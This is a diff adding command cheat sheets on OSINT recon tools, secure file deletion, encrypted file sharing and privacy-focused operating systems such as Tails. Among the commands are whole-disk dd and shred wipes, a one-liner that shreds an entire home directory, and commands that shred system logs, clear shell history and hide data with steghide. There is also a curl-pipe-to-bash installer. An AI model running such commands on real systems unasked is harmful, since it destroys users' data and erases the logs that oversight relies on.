+# Visit: https://beenverified.com (commercial OSINT)
+
+# URL typosquatting detection with urlcrazy
+urlcrazy <domain> -o <output_file>
+$ domain: echo -e "google.com\ntarget.com"
+$ output_file: echo "Report.txt"
+
+# LinkedIn company employee enumeration
+# Use LinkedIn Sales Navigator or manual search
+# Profile format: https://linkedin.com/in/[username]
+
+% recon-ng, osint
+
+# Launch recon-ng interactive mode
+recon-ng
+
+# Load workspace in recon-ng
+recon-ng -w <workspace_name>
+$ workspace_name: echo -e "client1\ntarget_recon\nbugbounty"
+
+# Run specific recon-ng module
+recon-ng -m <module_path> -o <option>=<value>
+$ module_path: echo -e "recon/domains-hosts/hackertarget\nrecon/hosts-hosts/resolve"
+$ option: echo -e "SOURCE\nDOMAIN"
+$ value: echo -e "example.com\n192.168.1.1"
+
+# List all recon-ng modules
+recon-ng -M
+
+# Install recon-ng module
+recon-ng -m <module_path> -x "marketplace install <module_name>"
+$ module_path: echo "recon/domains-hosts/hackertarget"
+$ module_name: echo -e "hackertarget\nthreatcrowd\nsublist3r"

secure-deletion.cheat

@@ -0,0 +1,545 @@
+% secure-deletion, shred, wipe, forensics, data-destruction
+
+# ============================================================================
+# WHY SECURE DELETION MATTERS
+# ============================================================================
+
+# Regular delete doesn't actually remove data
+# - File system marks space as "available"
+# - Data remains on disk until overwritten
+# - Easily recoverable with forensic tools
+
+# Secure deletion overwrites data multiple times
+# Modern drives: 1-3 passes usually sufficient
+# Old magnetic drives: 7-35 passes (DoD standard)
+
+# ============================================================================
+# SHRED - Secure File Deletion
+# ============================================================================
+
+# Install shred (usually pre-installed)
+sudo apt install coreutils
+
+# Basic secure delete (default 3 passes)
+shred <file>
+$ file: echo -e \"sensitive.txt\\nsecret.pdf\"
+
+# Delete and remove file
+shred -u <file>
+$ file: echo \"document.txt\"
+
+# Verbose output (show progress)
+shred -v <file>
+$ file: echo \"data.csv\"
+
+# Specify number of passes
+shred -n <passes> <file>
+$ passes: echo -e \"1\\n3\\n7\\n35\"
+$ file: echo \"secret.docx\"
+
+# Full secure delete with removal
+shred -vfz -n 5 <file>
+$ file: echo -e \"passwords.txt\\nkeys.pem\"
+
+# shred options explained:
+# -v = verbose (show progress)
+# -f = force (change permissions if needed)
+# -z = final pass with zeros (hide shredding)
+# -n = number of overwrite passes
+# -u = remove file after shredding
+
+# Shred multiple files
+shred -vfz -n 3 file1.txt file2.pdf file3.docx
+
+# Shred all files in directory
+find /path/to/dir -type f -exec shred -vfz -n 3 {} \\;
+
+# ============================================================================
+# SECURE-DELETE PACKAGE (Multiple Tools)
+# ============================================================================
+
+# Install secure-delete suite
+sudo apt install secure-delete
+
+# srm - Secure rm (file deletion)
+srm <file>
+$ file: echo -e \"sensitive.doc\\nsecret_key.pem\"
+
+# srm with fast mode (1 pass)
+srm -f <file>
+$ file: echo \"temp_data.txt\"
+
+# srm recursive (directory)
+srm -r <directory>
+$ directory: echo -e \"~/old_projects\\n/tmp/sensitive\"
+
+# srm with DoD 5220.22-M standard (7 passes)
+srm -v <file>
+$ file: echo \"classified.pdf\"
+
+# sfill - Secure free space wipe
+# WARNING: Takes long time, writes until disk full
+sfill -v <directory>
+$ directory: echo -e \"/home/user\\n/tmp\"
+
+# sfill fast mode (only free space, not inodes)
+sfill -f <directory>
+$ directory: echo \"/home/user\"
+
+# sswap - Secure swap wipe
+# Check swap partitions first
+swapon --show
+
+# Wipe swap (disable swap first)
+sudo swapoff -a
+sudo sswap /dev/sdXY
+sudo swapon -a
+
+# smem - Secure memory wipe (clear RAM)
+# Fills memory with random data then frees it
+smem
+
+# ============================================================================
+# WIPE - Advanced Secure Deletion
+# ============================================================================
+
+# Install wipe
+sudo apt install wipe
+
+# Basic wipe (default 34 passes - Gutmann method)
+wipe <file>
+$ file: echo \"confidential.txt\"
+
+# Quick wipe (4 passes)
+wipe -q <file>
+$ file: echo \"temp.dat\"
+
+# Wipe directory recursively
+wipe -r <directory>
+$ directory: echo -e \"~/old_work\\n/tmp/cache\"
+
+# Force wipe (no confirmation)
+wipe -f <file>
+$ file: echo \"delete_me.pdf\"
+
+# Wipe with custom passes
+wipe -Q <passes> <file>
+$ passes: echo -e \"1\\n7\\n35\"
+$ file: echo \"data.xlsx\"
+
+# Wipe free space on partition
+wipe -F /dev/sdX
+
+# ============================================================================
+# DD - Low-Level Disk Wiping
+# ============================================================================
+
+# DANGER: dd is destructive - verify device first!
+# Check device name
+lsblk
+fdisk -l
+
+# Wipe entire disk with zeros
+sudo dd if=/dev/zero of=/dev/sdX bs=1M status=progress
+
+# Wipe with random data (more secure)
+sudo dd if=/dev/urandom of=/dev/sdX bs=1M status=progress
+
+# Wipe specific number of blocks
+sudo dd if=/dev/urandom of=/dev/sdX bs=1M count=1000 status=progress
+
+# Wipe only first 10MB (destroy partition table)
+sudo dd if=/dev/urandom of=/dev/sdX bs=1M count=10
+
+# ============================================================================
+# SCRUB - RAID-Aware Secure Deletion
+# ============================================================================
+
+# Install scrub
+sudo apt install scrub
+
+# Scrub file (patterns + verification)
+scrub -p nnsa <file>
+$ file: echo \"sensitive_data.bin\"
+
+# Scrub patterns available:
+# nnsa    - NNSA Policy Letter NAP-14.1-C (3 passes)
+# dod     - DoD 5220.22-M (7 passes)
+# bsi     - German BSI (9 passes)
+# gutmann - Gutmann method (35 passes)
+# schneier - Bruce Schneier algorithm (7 passes)
+# pfitzner7 - Roy Pfitzner 7-pass method
+
+# Scrub disk
+sudo scrub -p dod /dev/sdX
+
+# Scrub with specific pattern
+sudo scrub -p gutmann /dev/sdX
+
+# Scrub free space
+scrub -X /path/to/mount
+
+# ============================================================================
+# CRYPTSETUP - Cryptographic Erase
+# ============================================================================
+
+# Fastest method for encrypted drives
+# Destroy encryption header = data unrecoverable
+
+# Check if device is LUKS encrypted
+sudo cryptsetup luksDump /dev/sdX
+
+# Erase LUKS header (instant crypto-shredding)
+sudo cryptsetup luksErase /dev/sdX
+
+# Backup header before erase (optional)
+sudo cryptsetup luksHeaderBackup /dev/sdX --header-backup-file header.img
+
+# ============================================================================
+# TRIM/DISCARD (SSD Optimization)
+# ============================================================================
+
+# SSDs handle deletion differently (TRIM)
+# Secure deletion harder on SSDs due to wear leveling
+
+# Check if TRIM supported
+sudo hdparm -I /dev/sdX | grep TRIM
+
+# Manual TRIM on mounted partition
+sudo fstrim -v /
+
+# Enable automatic TRIM (systemd)
+sudo systemctl enable fstrim.timer
+sudo systemctl start fstrim.timer
+
+# Force TRIM entire device
+sudo blkdiscard /dev/sdX
+
+# Secure erase SSD (ATA Secure Erase)
+# Check if supported
+sudo hdparm -I /dev/sdX | grep -i erase
+
+# Set security password
+sudo hdparm --user-master u --security-set-pass password /dev/sdX
+
+# Execute secure erase
+sudo hdparm --user-master u --security-erase password /dev/sdX
+
+# ============================================================================
+# NVME SECURE ERASE
+# ============================================================================
+
+# Check NVMe device
+sudo nvme list
+
+# Format with secure erase
+sudo nvme format /dev/nvme0n1 -s 1
+
+# Cryptographic erase (if supported)
+sudo nvme format /dev/nvme0n1 -s 2
+
+# ============================================================================
+# SECURE DELETION BY FILE SYSTEM
+# ============================================================================
+
+# EXT4 secure deletion flag
+# Mark file for secure deletion
+chattr +s <file>
+$ file: echo \"secure_me.txt\"
+
+# Check attributes
+lsattr <file>
+$ file: echo \"secure_me.txt\"
+
+# Remove secure deletion flag
+chattr -s <file>
+$ file: echo \"secure_me.txt\"
+
+# BTRFS
+# No built-in secure deletion
+# Use shred/scrub before deletion
+
+# ZFS
+# Supports encryption at dataset level
+# Destroy dataset = crypto-shred
+
+# ============================================================================
+# MEMORY (RAM) WIPING
+# ============================================================================
+
+# Clear page cache
+sync
+echo 3 | sudo tee /proc/sys/vm/drop_caches
+
+# Clear swap
+sudo swapoff -a
+sudo swapon -a
+
+# Overwrite freed memory (smem from secure-delete)
+smem
+
+# Cold boot attack mitigation
+# Enable RAM encryption in BIOS/UEFI if available
+
+# ============================================================================
+# BROWSER CACHE & HISTORY DELETION
+# ============================================================================
+
+# Firefox secure deletion
+# Clear all history: CTRL+SHIFT+DEL → Everything
+
+# Manually wipe Firefox cache
+rm -rf ~/.cache/mozilla/firefox/*
+rm -rf ~/.mozilla/firefox/*/cache2/*
+
+# Shred Firefox history database
+cd ~/.mozilla/firefox/*.default-release/
+shred -vfz -n 3 places.sqlite
+
+# Chrome/Chromium secure deletion
+rm -rf ~/.cache/google-chrome/*
+rm -rf ~/.config/google-chrome/Default/Cache/*
+
+# ============================================================================
+# TEMPORARY FILES & LOGS
+# ============================================================================
+
+# Find and shred temporary files
+find /tmp -type f -exec shred -vfz -n 3 {} \\;
+
+# Shred old logs
+sudo find /var/log -type f -mtime +30 -exec shred -vfz -n 1 {} \\;
+
+# Clear systemd journal
+sudo journalctl --vacuum-time=1d
+
+# Clear bash history
+shred -vfz -n 3 ~/.bash_history
+history -c
+
+# Disable bash history for session
+unset HISTFILE
+
+# ============================================================================
+# SECURE DELETION OF SPECIFIC FILE TYPES
+# ============================================================================
+
+# Shred all PDFs in directory
+find ~/Documents -name "*.pdf" -exec shred -vfz -n 3 {} \\;
+
+# Shred all images
+find ~/Pictures -type f \\( -name "*.jpg" -o -name "*.png" \\) -exec shred -vfz -n 3 {} \\;
+
+# Shred SSH keys
+shred -vfz -n 7 ~/.ssh/id_rsa
+
+# Shred GPG keys
+shred -vfz -n 7 ~/.gnupg/secring.gpg
+
+# ============================================================================
+# FREE SPACE WIPING
+# ============================================================================
+
+# Create large file with random data to fill free space
+cat /dev/urandom > /home/deleteme.dat
+# Wait until disk full, then:
+rm /home/deleteme.dat
+
+# Using dd
+dd if=/dev/urandom of=/home/wipefile bs=1M
+rm /home/wipefile
+
+# Using sfill (secure-delete package)
+sfill -v /home/
+
+# BleachBit free space wipe (GUI)
+bleachbit --clean system.free_disk_space
+
+# ============================================================================
+# SECURE DELETION SCRIPTS
+# ============================================================================
+
+# Secure delete script (shred wrapper)
+#!/bin/bash
+# secure_delete.sh
+for file in "$@"; do
+    if [ -f "$file" ]; then
+        shred -vfz -n 3 "$file"
+        echo "Securely deleted: $file"
+    else
+        echo "Not a file: $file"
+    fi
+done
+
+# Make executable
+chmod +x secure_delete.sh
+
+# Use it
+./secure_delete.sh file1.txt file2.pdf file3.docx
+
+# ============================================================================
+# FULL DISK DESTRUCTION WORKFLOW
+# ============================================================================
+
+# Before selling/disposing of drive:
+# 1. Backup important data
+# 2. Boot from live USB (Tails, Ubuntu Live)
+# 3. Identify target drive (lsblk)
+# 4. Wipe entire drive
+sudo shred -vfz -n 1 /dev/sdX
+
+# Or for faster wipe (single pass random)
+sudo dd if=/dev/urandom of=/dev/sdX bs=1M status=progress
+
+# 5. Verify (should show random data)
+sudo dd if=/dev/sdX bs=1M count=10 | hexdump -C
+
+# 6. (Optional) Create new partition table
+sudo fdisk /dev/sdX
+# g (create GPT table), w (write)
+
+# ============================================================================
+# ANDROID/MOBILE SECURE DELETION
+# ============================================================================
+
+# Android encryption
+# Settings → Security → Encrypt phone
+
+# Factory reset (after encryption)
+# Settings → System → Reset → Factory reset
+
+# iOS secure deletion
+# Settings → General → Transfer or Reset iPhone → Erase All Content and Settings
+
+# Physical destruction (if needed)
+# - Drill through memory chips
+# - Professional shredding service
+
+# ============================================================================
+# CLOUD STORAGE DELETION
+# ============================================================================
+
+# Most cloud services don't truly delete
+# Files remain in backups/snapshots
+
+# Best practices:
+# 1. Encrypt before uploading (see age.cheat, gpg.cheat)
+# 2. Delete encryption keys when removing files
+# 3. Don't trust cloud provider deletion
+
+# Google Drive
+# Delete → Empty trash → Wait 30 days
+
+# Dropbox
+# Delete → Permanently delete
+
+# ============================================================================
+# FORENSIC VERIFICATION
+# ============================================================================
+
+# Test if data is recoverable (after secure deletion)
+# Use forensic tools to attempt recovery
+
+# PhotoRec (file recovery tool)
+sudo apt install testdisk
+photorec /dev/sdX
+
+# Foremost (file carving)
+sudo apt install foremost
+foremost -t all -i /dev/sdX -o /output/dir
+
+# If recovery succeeds, your deletion wasn't secure enough!
+
+# ============================================================================
+# DBAN (DARIK'S BOOT AND NUKE)
+# ============================================================================
+
+# Bootable ISO for complete disk wiping
+# Download: https://dban.org/
+
+# Create bootable USB
+sudo dd if=dban.iso of=/dev/sdX bs=1M status=progress
+
+# Boot from USB, select drive, start wipe
+# Recommended method: DoD Short (3 passes)
+
+# ============================================================================
+# BEST PRACTICES
+# ============================================================================
+
+# Preventive measures (better than deletion)
+# - Encrypt all drives (see veracrypt.cheat)
+# - Use encrypted file systems
+# - Don't store sensitive data unnecessarily
+# - Use RAM disks for temporary sensitive work
+
+# Deletion strategy by threat level
+# Low (personal files): shred -n 1
+# Medium (sensitive docs): shred -n 3
+# High (classified): shred -n 7
+# Maximum (life/death): crypto-shred + physical destruction
+
+# SSD considerations
+# - Secure deletion less effective on SSDs
+# - TRIM helps but not guaranteed
+# - Best: Full disk encryption + crypto-shred
+# - Or: Physical destruction
+
+# ============================================================================
+# COMMON MISTAKES
+# ============================================================================
+
+# ❌ Using "rm -rf" and thinking it's secure
+# ✅ Use shred/srm/wipe instead
+
+# ❌ Forgetting about backups
+# ✅ Securely delete all backup copies
+
+# ❌ Not wiping free space
+# ✅ Use sfill after deleting sensitive files
+
+# ❌ Deleting files without wiping metadata
+# ✅ Check file system journals/logs
+
+# ❌ Trusting cloud provider deletion
+# ✅ Encrypt before upload, delete keys
+
+# ❌ Selling drive without wiping
+# ✅ Full wipe + verification before disposal
+
+# ============================================================================
+# EMERGENCY DELETION
+# ============================================================================
+
+# Quick emergency wipe (if time limited)
+# Wipe most sensitive files first, free space last
+
+# Priority deletion order:
+# 1. SSH/GPG keys (~/.ssh, ~/.gnupg)
+# 2. Browser history/cache
+# 3. Documents folder
+# 4. Email (~/Maildir, ~/.thunderbird)
+# 5. Home directory
+# 6. Swap partition
+# 7. Free space
+
+# One-liner emergency wipe (home directory)
+find ~/ -type f -exec shred -n 1 -u {} \\; 2>/dev/null
+
+# ============================================================================
+# LEGAL CONSIDERATIONS
+# ============================================================================
+
+# Obstruction of justice concerns
+# Secure deletion may be illegal in some contexts
+# - During active investigation
+# - Under subpoena/warrant
+# - Corporate document retention policies
+
+# Know your jurisdiction's laws
+# Consult lawyer if unsure
+
+# Plausible deniability
+# Hidden volumes (VeraCrypt)
+# Steganography
+

secure-file-sharing.cheat

@@ -0,0 +1,572 @@
+% file-sharing, transfer, encrypted-sharing, onionshare, magic-wormhole
+
+# ============================================================================
+# SECURE FILE SHARING OVERVIEW
+# ============================================================================
+
+# Insecure file sharing methods (avoid)
+# - Unencrypted email attachments (readable by provider)
+# - Public cloud links (Dropbox, Google Drive public links)
+# - Unencrypted FTP
+# - HTTP file sharing (no encryption)
+
+# Secure file sharing principles
+# - End-to-end encryption (provider can't read)
+# - Temporary links (expire after use)
+# - No account required (anonymous)
+# - Self-hosted (no third-party)
+# - Tor support (anonymity)
+
+# ============================================================================
+# ONIONSHARE (TOR-BASED FILE SHARING)
+# ============================================================================
+
+# OnionShare features
+# - Share files anonymously via Tor
+# - Creates temporary Tor hidden service (.onion URL)
+# - No third-party servers
+# - End-to-end encrypted
+# - Auto-stops sharing after download (optional)
+
+# Install OnionShare (Linux)
+sudo apt install onionshare
+
+# Install OnionShare (macOS)
+brew install onionshare
+
+# Install OnionShare (Windows/all platforms)
+# Download: https://onionshare.org/
+
+# Share files (GUI)
+# 1. Open OnionShare
+# 2. Add files/folders
+# 3. Start Sharing
+# 4. Copy .onion URL → Send to recipient via secure channel (Signal, etc.)
+# 5. Recipient opens in Tor Browser
+
+# Share files (CLI)
+onionshare <file_or_folder>
+$ file_or_folder: echo -e "/tmp/secret.pdf\\n~/Documents/sensitive/"
+
+# Share with auto-stop (stops after first download)
+onionshare --autostop <file>
+$ file: echo "confidential.pdf"
+
+# Share with persistent URL (doesn't change)
+onionshare --persistent <file>
+$ file: echo "document.pdf"
+
+# Receive files (anonymous file drop)
+onionshare --receive
+
+# Recipients upload files to your .onion URL
+# Saved to ~/OnionShare folder
+
+# Host website (serve static site anonymously)
+onionshare --website <website_folder>
+$ website_folder: echo "~/my_site/"
+
+# Chat mode (anonymous chat room)
+onionshare --chat
+
+# ============================================================================
+# MAGIC WORMHOLE (ENCRYPTED PEER-TO-PEER)
+# ============================================================================
+
+# Magic Wormhole features
+# - End-to-end encrypted
+# - No server stores data (peer-to-peer via PAKE)
+# - Simple "wormhole code" (short phrase)
+# - Cross-platform
+
+# Install Magic Wormhole (Linux)
+sudo apt install magic-wormhole
+
+# Install Magic Wormhole (macOS)
+brew install magic-wormhole
+
+# Install Magic Wormhole (Python/pip)
+pip install magic-wormhole
+
+# Send file
+wormhole send <file>
+$ file: echo -e "document.pdf\\nsecret.tar.gz"
+
+# Displays wormhole code (e.g., "7-guitarist-revenge")
+# Share code with recipient via secure channel
+
+# Receive file
+wormhole receive <wormhole_code>
+$ wormhole_code: echo "7-guitarist-revenge"
+
+# Send directory
+tar czf - <directory> | wormhole send
+$ directory: echo "~/important_files/"
+
+# Receive directory
+wormhole receive <code> | tar xzf -
+
+# ============================================================================
+# FIREFOX SEND (DISCONTINUED, ALTERNATIVES)
+# ============================================================================
+
+# Firefox Send (discontinued)
+# Was: https://send.firefox.com/ (shut down in 2020)
+
+# Alternatives to Firefox Send
+# - send.vis.ee (self-hosted Send instance)
+# - send.tresorit.com (Tresorit Send, 5 GB free)
+# - sendgb.com (SendGB, 5 GB free, 90 days)
+
+# Self-host Send (using send.vis.ee codebase)
+# https://github.com/timvisee/send
+
+# Docker self-hosted Send
+docker run -d -p 1443:1443 --name send registry.gitlab.com/timvisee/send:latest
+
+# ============================================================================
+# ENCRYPTED CLOUD FILE SHARING
+# ============================================================================
+
+# Tresorit Send
+# https://send.tresorit.com/
+# - End-to-end encrypted
+# - 5 GB file size limit (free)
+# - Password protection
+# - Expiration dates
+
+# Send file via Tresorit Send
+# 1. Visit: https://send.tresorit.com/
+# 2. Upload file
+# 3. Set password (optional)
+# 4. Set expiration
+# 5. Share link + password separately
+
+# ProtonDrive
+# https://proton.me/drive
+# - End-to-end encrypted cloud storage
+# - Share links with password
+# - Swiss jurisdiction
+# - Free: 5 GB, Paid: up to 500 GB
+
+# Cryptomator + Dropbox/Google Drive
+# Encrypt files locally before uploading
+
+# Install Cryptomator
+sudo apt install cryptomator
+# Or download: https://cryptomator.org/
+
+# Workflow
+# 1. Create Cryptomator vault
+# 2. Unlock vault (creates virtual drive)
+# 3. Copy files to virtual drive (auto-encrypted)
+# 4. Encrypted files stored in cloud folder
+# 5. Share encrypted files (recipient needs vault password)
+
+# ============================================================================
+# CROC (ENCRYPTED PEER-TO-PEER TRANSFER)
+# ============================================================================
+
+# Croc features
+# - End-to-end encrypted
+# - Resume interrupted transfers
+# - Multi-relay support
+# - Cross-platform
+
+# Install croc (Linux)
+curl https://getcroc.schollz.com | bash
+
+# Install croc (Go)
+go install github.com/schollz/croc/v9@latest
+
+# Send file with croc
+croc send <file>
+$ file: echo -e "document.pdf\\narchive.tar.gz"
+
+# Displays code phrase (e.g., "code-word-1234")
+# Share with recipient
+
+# Receive file with croc
+croc <code_phrase>
+$ code_phrase: echo "code-word-1234"
+
+# Send folder
+croc send --zip <folder>
+$ folder: echo "~/my_documents/"
+
+# Use custom relay server
+croc --relay <relay_server> send <file>
+$ relay_server: echo "relay.example.com:9009"
+
+# Self-host croc relay
+croc relay
+
+# ============================================================================
+# SYNC THING (ENCRYPTED SYNC)
+# ============================================================================
+
+# Syncthing features
+# - Continuous sync (not one-time transfer)
+# - End-to-end encrypted
+# - Peer-to-peer (no central server)
+# - Cross-platform
+
+# Install Syncthing (Linux)
+sudo apt install syncthing
+
+# Install Syncthing (macOS)
+brew install syncthing
+
+# Start Syncthing
+syncthing
+
+# Access web UI
+# http://localhost:8384/
+
+# Add device
+# 1. Get device ID (Settings → Show ID)
+# 2. Add remote device (Actions → Add Device)
+# 3. Share folder with device
+
+# Use case: Ongoing secure sync between devices
+
+# ============================================================================
+# RSYNC OVER SSH (ENCRYPTED TRANSFER)
+# ============================================================================
+
+# rsync + SSH = encrypted file transfer
+
+# Basic rsync over SSH
+rsync -avz -e ssh <source> <user>@<host>:<destination>
+$ source: echo -e "/home/user/file.txt\\n~/Documents/"
+$ user: echo "username"
+$ host: echo "server.example.com"
+$ destination: echo "/remote/path/"
+
+# Rsync with progress
+rsync -avz --progress -e ssh <source> <user>@<host>:<destination>
+
+# Rsync download from server
+rsync -avz -e ssh <user>@<host>:<source> <local_destination>
+$ user: echo "username"
+$ host: echo "server.example.com"
+$ source: echo "/remote/file.txt"
+$ local_destination: echo "~/Downloads/"
+
+# Rsync with compression
+rsync -avz -e ssh <source> <user>@<host>:<destination>
+
+# ============================================================================
+# SCP (SECURE COPY)
+# ============================================================================
+
+# SCP = Secure Copy (SSH-based)
+
+# Copy file to remote server
+scp <file> <user>@<host>:<destination>
+$ file: echo -e "document.pdf\\n~/file.txt"
+$ user: echo "username"
+$ host: echo "server.example.com"
+$ destination: echo "/remote/path/"
+
+# Copy file from remote server
+scp <user>@<host>:<remote_file> <local_destination>
+$ user: echo "username"
+$ host: echo "server.example.com"
+$ remote_file: echo "/remote/file.txt"
+$ local_destination: echo "~/Downloads/"
+
+# Copy directory recursively
+scp -r <directory> <user>@<host>:<destination>
+$ directory: echo "~/my_folder/"
+
+# SCP with specific port
+scp -P <port> <file> <user>@<host>:<destination>
+$ port: echo "2222"
+
+# ============================================================================
+# NEXTCLOUD (SELF-HOSTED CLOUD)
+# ============================================================================
+
+# Nextcloud = Self-hosted cloud storage (Dropbox alternative)
+
+# Install Nextcloud (Docker)
+docker run -d -p 8080:80 --name nextcloud \
+  -v nextcloud:/var/www/html \
+  nextcloud
+
+# Or use Nextcloud snap
+sudo snap install nextcloud
+
+# Access Nextcloud
+# http://localhost:8080/
+
+# Share files via Nextcloud
+# 1. Upload files
+# 2. Right-click → Share
+# 3. Create public link
+# 4. Set password, expiration
+# 5. Share link
+
+# Nextcloud end-to-end encryption
+# Settings → Security → Enable E2EE
+# Encrypt folders before sharing
+
+# ============================================================================
+# KEYBASE (ENCRYPTED FILE SHARING)
+# ============================================================================
+
+# Keybase features
+# - End-to-end encrypted
+# - Identity verification (PGP, social media)
+# - Encrypted chat + file sharing
+# - Public folders (signed, not encrypted)
+
+# Install Keybase
+# Download: https://keybase.io/download
+
+# Share file via Keybase
+# 1. Open Keybase
+# 2. Select contact
+# 3. Drag & drop file into chat
+
+# Keybase Filesystem (KBFS)
+# Encrypted filesystem in: /keybase/private/<you>/
+
+# Share folder via KBFS
+# 1. Create folder: /keybase/private/<you>,<friend>/
+# 2. Add files to folder
+# 3. Both users can access (encrypted)
+
+# Public signed folder
+# /keybase/public/<you>/
+# Publicly readable, cryptographically signed
+
+# ============================================================================
+# ENCYPTED EMAIL (LARGE ATTACHMENTS)
+# ============================================================================
+
+# PGP-encrypted email attachment
+# See gpg.cheat for encryption
+
+# Encrypt file
+gpg --encrypt --armor --recipient <recipient_email> <file>
+$ recipient_email: echo "friend@example.com"
+$ file: echo "document.pdf"
+
+# Email encrypted file.asc as attachment
+
+# Alternative: Age encryption
+# See age.cheat
+
+# Encrypt file with age
+age --encrypt --recipient <age_public_key> --output <output> <file>
+$ age_public_key: echo "age1abc..."
+$ output: echo "encrypted.age"
+$ file: echo "document.pdf"
+
+# ============================================================================
+# TEMPORARY FILE HOSTING SERVICES
+# ============================================================================
+
+# SendGB
+# https://www.sendgb.com/
+# - 5 GB free
+# - 90 days retention
+# - Password protection
+
+# WeTransfer
+# https://wetransfer.com/
+# - 2 GB free (no account)
+# - 7 days retention
+# - Email notification
+
+# MEGA
+# https://mega.nz/
+# - 20 GB free
+# - End-to-end encrypted
+# - Account required
+
+# File.io (ephemeral)
+# https://www.file.io/
+# - One-time download (file deleted after download)
+# - No account required
+
+# Upload to file.io (CLI)
+curl --upload-file <file> https://file.io/
+$ file: echo "document.pdf"
+
+# ============================================================================
+# QRCODE FILE SHARING (SMALL FILES)
+# ============================================================================
+
+# Share small data via QR code
+
+# Generate QR code from file
+# Install qrencode
+sudo apt install qrencode
+
+# Create QR code from text
+cat <file> | qrencode -t UTF8
+$ file: echo "secret.txt"
+
+# Create QR code image
+qrencode -o <output_image> -r <file>
+$ output_image: echo "qr.png"
+$ file: echo "data.txt"
+
+# Scan QR code (mobile)
+# Use phone camera or QR code reader app
+
+# ============================================================================
+# SPLIT & ENCRYPT (LARGE FILES)
+# ============================================================================
+
+# Split large file into smaller encrypted chunks
+
+# Split file
+split -b 100M <large_file> <prefix>
+$ large_file: echo "bigfile.tar.gz"
+$ prefix: echo "part_"
+
+# Creates: part_aa, part_ab, part_ac, etc.
+
+# Encrypt each part
+for part in part_*; do
+  gpg --encrypt --recipient <recipient_email> "$part"
+done
+
+# Share encrypted parts separately (different channels)
+
+# Recipient: Decrypt and reassemble
+for part in part_*.gpg; do
+  gpg --decrypt "$part" > "${part%.gpg}"
+done
+cat part_* > original_file.tar.gz
+
+# ============================================================================
+# STEGANOGRAPHY (HIDDEN FILE SHARING)
+# ============================================================================
+
+# Hide file inside image (see anti-forensics.cheat)
+
+# Install steghide
+sudo apt install steghide
+
+# Hide file in image
+steghide embed -cf <cover_image> -ef <secret_file> -p <passphrase>
+$ cover_image: echo "photo.jpg"
+$ secret_file: echo "document.pdf"
+$ passphrase: echo "StrongPassword123"
+
+# Share cover_image.jpg via normal channels
+
+# Extract hidden file
+steghide extract -sf <image_with_hidden_data> -p <passphrase>
+$ image_with_hidden_data: echo "photo.jpg"
+$ passphrase: echo "StrongPassword123"
+
+# ============================================================================
+# SECURITY BEST PRACTICES
+# ============================================================================
+
+# Always encrypt before sharing
+# Use: GPG, age, VeraCrypt, or E2EE service
+
+# Share password separately
+# Send link via one channel (Signal)
+# Send password via different channel (Email)
+
+# Use expiring links
+# Set expiration dates on shared files
+# Reduces exposure window
+
+# Verify recipient identity
+# Confirm recipient before sharing sensitive data
+# Use out-of-band verification (voice call, in-person)
+
+# Delete after sharing
+# Sender: Delete original file securely (shred)
+# Recipient: Acknowledge receipt, sender can delete shared copy
+
+# Use Tor for anonymity
+# OnionShare for maximum anonymity
+# VPN for moderate privacy
+
+# Avoid public WiFi for sensitive transfers
+# Use VPN or wait for secure connection
+
+# ============================================================================
+# SECURE FILE SHARING CHECKLIST
+# ============================================================================
+
+# Before sharing
+# [ ] Encrypt file (GPG, age, VeraCrypt)
+# [ ] Choose secure method (OnionShare, Magic Wormhole, Tresorit)
+# [ ] Set expiration / auto-delete
+# [ ] Password protect (if service supports)
+# [ ] Verify recipient identity
+
+# During sharing
+# [ ] Share link via secure channel (Signal, encrypted email)
+# [ ] Share password via different channel
+# [ ] Confirm recipient received file
+
+# After sharing
+# [ ] Delete shared file from service
+# [ ] Securely delete original (shred)
+# [ ] Verify recipient can decrypt/open file
+
+# ============================================================================
+# COMPARISON: SECURE FILE SHARING METHODS
+# ============================================================================
+
+# OnionShare
+# Pros: Maximum anonymity (Tor), no third-party
+# Cons: Requires Tor Browser, slower
+# Use: High-risk sharing, whistleblowing, journalism
+
+# Magic Wormhole
+# Pros: Simple, fast, no account, E2EE
+# Cons: Requires CLI/app on both ends
+# Use: Quick secure transfers between techies
+
+# Tresorit Send / ProtonDrive
+# Pros: E2EE, easy to use, web-based
+# Cons: Third-party service, file size limits
+# Use: General secure file sharing
+
+# Syncthing
+# Pros: Continuous sync, E2EE, no third-party
+# Cons: Setup required on both ends, ongoing sync (not one-time)
+# Use: Secure sync between devices
+
+# rsync/scp over SSH
+# Pros: Encrypted, standard tools, scriptable
+# Cons: Requires SSH access, command-line
+# Use: Server-to-server transfers, automated backups
+
+# ============================================================================
+# RESOURCES
+# ============================================================================
+
+# OnionShare
+# Website: https://onionshare.org/
+# Documentation: https://docs.onionshare.org/
+
+# Magic Wormhole
+# GitHub: https://github.com/magic-wormhole/magic-wormhole
+# Documentation: https://magic-wormhole.readthedocs.io/
+
+# Croc
+# GitHub: https://github.com/schollz/croc
+# Website: https://schollz.com/software/croc6/
+
+# Syncthing
+# Website: https://syncthing.net/
+# Documentation: https://docs.syncthing.net/
+
+# Cryptomator
+# Website: https://cryptomator.org/
+# Documentation: https://docs.cryptomator.org/
+

secure-os.cheat

@@ -0,0 +1,541 @@
+% secure-os, tails, whonix, qubes, privacy-os, hardened-linux
+
+# ============================================================================
+# SECURE & PRIVACY-FOCUSED OPERATING SYSTEMS
+# ============================================================================
+
+# Operating system security spectrum
+# Tails - Amnesiac, Tor-routed, live system
+# Whonix - Tor workstation, VM-based isolation
+# Qubes OS - Security by compartmentalization
+# Hardened Linux - Custom secure configurations
+
+# Use cases
+# Tails: Journalism, whistleblowing, high-risk anonymity
+# Whonix: Daily secure browsing, privacy research
+# Qubes OS: Multi-level security, handling untrusted files
+# Hardened Linux: Development, general secure computing
+
+# ============================================================================
+# TAILS (THE AMNESIAC INCOGNITO LIVE SYSTEM)
+# ============================================================================
+
+# Tails overview
+# - Live USB/DVD (no installation, leaves no trace)
+# - All connections routed through Tor
+# - Amnesia (no persistent storage by default)
+# - Cryptographic tools included
+# - Based on Debian Linux
+
+# Download Tails
+# https://tails.boum.org/install/
+
+# Verify Tails download (CRITICAL)
+wget https://tails.boum.org/tails-signing.key
+gpg --import tails-signing.key
+gpg --verify tails-amd64-*.img.sig tails-amd64-*.img
+
+# Create Tails USB (Linux)
+# Find USB device
+lsblk
+
+# Write Tails image (DANGER: destroys data on USB)
+sudo dd if=tails-amd64-*.img of=/dev/sdX bs=16M status=progress && sync
+
+# Or use Tails Installer
+sudo apt install tails-installer
+tails-installer
+
+# Boot Tails
+# 1. Insert USB
+# 2. Boot from USB (F12/F2 for boot menu)
+# 3. Select "Tails" from boot menu
+
+# ============================================================================
